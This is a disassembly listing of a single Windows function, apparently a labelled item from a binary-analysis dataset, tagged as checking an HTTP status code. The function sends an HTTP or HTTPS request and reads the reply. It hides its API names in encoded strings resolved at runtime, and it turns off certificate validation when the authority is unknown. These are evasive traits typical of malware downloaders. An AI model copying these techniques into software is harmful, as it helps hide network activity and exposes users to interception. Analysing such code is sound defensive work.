Function at 0x409510
Capabilities:
Check http status code

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x428c06
mov eax, dword fs:[0]
push eax
push ecx
mov eax, 0x846c
call fcn.0041f2e0
mov eax, dword [0x43a810]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov edi, ecx
mov dword [ebp - 0x8454], edi
mov dword [ebp - 4], 0
mov bl, byte [edi + 4]
mov esi, dword [edi]
push 0xffffffffffffffff
push 0
lea eax, [edi + 8]
push eax
lea ecx, [ebp - 0x844c]
mov byte [ebp - 0x844d], bl
mov dword [ebp - 0x8438], 0xf
mov dword [ebp - 0x843c], 0
mov byte [ebp - 0x844c], 0
call fcn.004045c0
push 0xffffffffffffffff
mov byte [ebp - 4], 1
push 0
lea eax, [edi + 0x20]
push eax
lea ecx, [ebp - 0x8434]
mov dword [ebp - 0x8420], 0xf
mov dword [ebp - 0x8424], 0
mov byte [ebp - 0x8434], 0
call fcn.004045c0
mov byte [ebp - 4], 2
mov eax, dword [edi + 0x38]
mov dword [ebp - 0x846c], eax
mov eax, dword [edi + 0x3c]
push 0x3ff
mov dword [ebp - 0x8468], eax
lea eax, [ebp - 0x41b]
push 0
push eax
mov byte [ebp - 0x41c], 0
call fcn.00413c80
mov eax, dword [0x43cd98]
add esp, 0xc
mov dword [ebp - 0x8478], 0x400
test al, 1
jne 0x40961a
or eax, 1
mov dword [0x43cd98], eax
call fcn.0040bb90
mov dword [0x43cd9c], eax
jmp 0x40961f
mov eax, dword [0x43cd9c]
lea ecx, [ebp - 0x8478]
push ecx
lea ecx, [ebp - 0x41c]
push ecx
push 0
call eax
test esi, esi
jne 0x40963e
mov dword [ebp - 0x1c], 0x544547
jmp 0x40964e
mov eax, dword [str.POST]
mov dword [ebp - 0x1c], eax
mov al, byte [0x42e8b8]
mov byte [ebp - 0x18], al
mov eax, 0x1bb
test bl, bl
mov edi, 0x50
cmovne edi, eax
mov eax, dword [0x43cda8]
or esi, 0xffffffff
test al, 1
jne 0x40967d
or eax, 1
mov dword [0x43cda8], eax
call fcn.0040bc00
mov dword [0x43cdac], eax
jmp 0x409682
mov eax, dword [0x43cdac]
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x41c]
push ecx
call eax
mov dword [ebp - 0x8470], eax
test eax, eax
je 0x409ade
mov ecx, dword [ebp - 0x8454]
cmp dword [ebp - 0x8438], 0x10
mov dword [ecx + 0x44], eax
mov eax, dword [0x43cdc0]
lea ebx, [ebp - 0x844c]
cmovae ebx, dword [ebp - 0x844c]
mov esi, 0xfffffffe
test al, 1
jne 0x4096e0
or eax, 1
mov dword [0x43cdc0], eax
call fcn.0040bd20
mov dword [0x43cdc4], eax
jmp 0x4096e5
mov eax, dword [0x43cdc4]
push 0
push 0
push 3
push 0
push 0
push edi
push ebx
push dword [ebp - 0x8470]
call eax
mov edi, eax
mov dword [ebp - 0x8458], edi
test edi, edi
je 0x409ac5
mov eax, dword [ebp - 0x8454]
cmp dword [ebp - 0x8420], 0x10
mov dword [eax + 0x48], edi
lea edi, [ebp - 0x8434]
cmovae edi, dword [ebp - 0x8434]
mov ecx, str.ejZlZx4FGAc
mov esi, 0xfffffffd
call fcn.0040bac0
mov ecx, dword [0x43cdc8]
mov ebx, eax
test cl, 1
jne 0x40975a
or ecx, 1
mov dword [0x43cdc8], ecx
call fcn.0040bd80
mov ecx, eax
mov dword [0x43cdcc], ecx
jmp 0x409760
mov ecx, dword [0x43cdcc]
xor eax, eax
cmp byte [ebp - 0x844d], al
push 0
mov edx, 0x800000
cmovne eax, edx
or eax, 0x8404f700
push eax
push 0
push 0
push ebx
push edi
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x8458]
call ecx
mov ebx, dword [ebp - 0x8454]
mov edi, eax
test edi, edi
je 0x409a98
mov eax, dword [ebp - 0x846c]
mov dword [ebx + 0x4c], edi
test eax, eax
je 0x4097c1
mov edx, eax
lea ecx, [edx + 1]
lea esp, [esp]
mov al, byte [edx]
inc edx
test al, al
jne 0x4097b0
sub edx, ecx
mov dword [ebp - 0x8464], edx
jmp 0x4097cb
mov dword [ebp - 0x8464], 0
mov eax, dword [ebp - 0x8468]
test eax, eax
je 0x4097f1
mov edx, eax
lea ecx, [edx + 1]
lea ebx, [ebx]
mov al, byte [edx]
inc edx
test al, al
jne 0x4097e0
sub edx, ecx
mov dword [ebp - 0x8474], edx
jmp 0x409800
mov dword [ebp - 0x8474], 0
jmp 0x409800
mov eax, dword [0x43cdd0]
mov byte [ebp - 0x844d], 0
test al, 1
jne 0x409863
or eax, 1
mov dword [0x43cdd0], eax
mov eax, dword [0x43cda0]
test al, 1
jne 0x409844
or eax, 1
mov ecx, str.RQtfXl9RQhhTWlQ
mov dword [0x43cda0], eax
call fcn.0040bac0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
mov dword [0x43cda4], esi
jmp 0x40984a
mov esi, dword [0x43cda4]
mov ecx, str.ehZFR2JRWFJlU0kWUUESJQ
call fcn.0040bac0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x43cdd4], eax
jmp 0x409868
mov eax, dword [0x43cdd4]
push dword [ebp - 0x8474]
push dword [ebp - 0x8468]
push dword [ebp - 0x8464]
push dword [ebp - 0x846c]
push edi
call eax
test eax, eax
je 0x4099ea
mov eax, dword [0x43cdd8]
mov esi, 0xfffffffc
mov dword [ebp - 0x8460], 0
mov dword [ebp - 0x8454], 4
test al, 1
jne 0x4098c1
or eax, 1
mov dword [0x43cdd8], eax
call fcn.0040bde0
mov dword [0x43cddc], eax
jmp 0x4098c6
mov eax, dword [0x43cddc]
push 0
lea ecx, [ebp - 0x8454]
push ecx
lea ecx, [ebp - 0x8460]
push ecx
push 0x20000013
push edi
call eax
test eax, eax
je 0x4099c6
cmp dword [ebp - 0x8460], 0xc8
jne 0x4099c6
push 0x7fff
lea eax, [ebp - 0x841b]
push 0
push eax
mov byte [ebp - 0x841c], 0
call fcn.00413c80
add esp, 0xc
mov eax, dword [0x43cde0]
test al, 1
jne 0x40996f
or eax, 1
mov dword [0x43cde0], eax
mov eax, dword [0x43cda0]
test al, 1
jne 0x409950
or eax, 1
mov ecx, str.RQtfXl9RQhhTWlQ
mov dword [0x43cda0], eax
call fcn.0040bac0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
mov dword [0x43cda4], esi
jmp 0x409956
mov esi, dword [0x43cda4]
mov ecx, str.ewxFUkNaU0JlU1kHclsKAQ
call fcn.0040bac0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x43cde4], eax
jmp 0x409974
mov eax, dword [0x43cde4]
lea ecx, [ebp - 0x8454]
push ecx
push 0x8000
lea ecx, [ebp - 0x841c]
push ecx
push edi
call eax
test eax, eax
je 0x4099b7
mov eax, dword [ebp - 0x8454]
test eax, eax
je 0x4099b7
mov ecx, dword [ebx + 0x40]
test ecx, ecx
je 0x409913
push 0
push eax
lea eax, [ebp - 0x841c]
push eax
call fcn.0040a370
jmp 0x409913
xor esi, esi
cmp byte [ebp - 0x844d], 0
jne 0x409800
mov eax, dword [0x43cdb8]
test al, 1
jne 0x409a89
or eax, 1
mov dword [0x43cdb8], eax
call fcn.0040bcc0
mov dword [0x43cdbc], eax
jmp 0x409a8e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
cmp esi, 0x2f0d
jne 0x4099c6
mov eax, dword [0x43cde8]
mov dword [ebp - 0x847c], 4
test al, 1
jne 0x409a21
or eax, 1
mov dword [0x43cde8], eax
call fcn.0040be40
mov dword [0x43cdec], eax
jmp 0x409a26
mov eax, dword [0x43cdec]
lea ecx, [ebp - 0x847c]
push ecx
lea ecx, [ebp - 0x845c]
push ecx
push 0x1f
push edi
call eax
mov eax, dword [0x43cdb0]
or dword [ebp - 0x845c], 0x100
test al, 1
jne 0x409a71
or eax, 1
mov dword [0x43cdb0], eax
call fcn.0040bc60
push 4
lea ecx, [ebp - 0x845c]
push ecx
push 0x1f
push edi
mov dword [0x43cdb4], eax
call eax
jmp 0x409800
mov eax, dword [0x43cdb4]
push 4
lea ecx, [ebp - 0x845c]
push ecx
push 0x1f
push edi
call eax
jmp 0x409800
mov eax, dword [0x43cdbc]
push edi
call eax
mov dword [ebx + 0x4c], 0
mov edi, dword [ebp - 0x8458]
mov eax, dword [0x43cdb8]
test al, 1
jne 0x409acd
or eax, 1
mov dword [0x43cdb8], eax
call fcn.0040bcc0
push edi
mov dword [0x43cdbc], eax
call eax
mov dword [ebx + 0x48], 0
jmp 0x409ae4
mov ebx, dword [ebp - 0x8454]
jmp 0x409a9e
mov eax, dword [0x43cdbc]
push edi
call eax
mov dword [ebx + 0x48], 0
jmp 0x409ae4
mov ebx, dword [ebp - 0x8454]
mov eax, dword [0x43cdb8]
test al, 1
jne 0x409b01
or eax, 1
mov dword [0x43cdb8], eax
call fcn.0040bcc0
mov dword [0x43cdbc], eax
jmp 0x409b06
mov eax, dword [0x43cdbc]
push dword [ebp - 0x8470]
call eax
cmp dword [ebp - 0x8420], 0x10
mov dword [ebx + 0x44], 0
jb 0x409b2c
push dword [ebp - 0x8434]
call fcn.0040ddd1
add esp, 4
cmp dword [ebp - 0x8438], 0x10
mov dword [ebp - 0x8420], 0xf
mov dword [ebp - 0x8424], 0
mov byte [ebp - 0x8434], 0
jb 0x409b5e
push dword [ebp - 0x844c]
call fcn.0040ddd1
add esp, 4
mov eax, esi
jmp 0x409b6d
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0040da61
mov esp, ebp
pop ebp
ret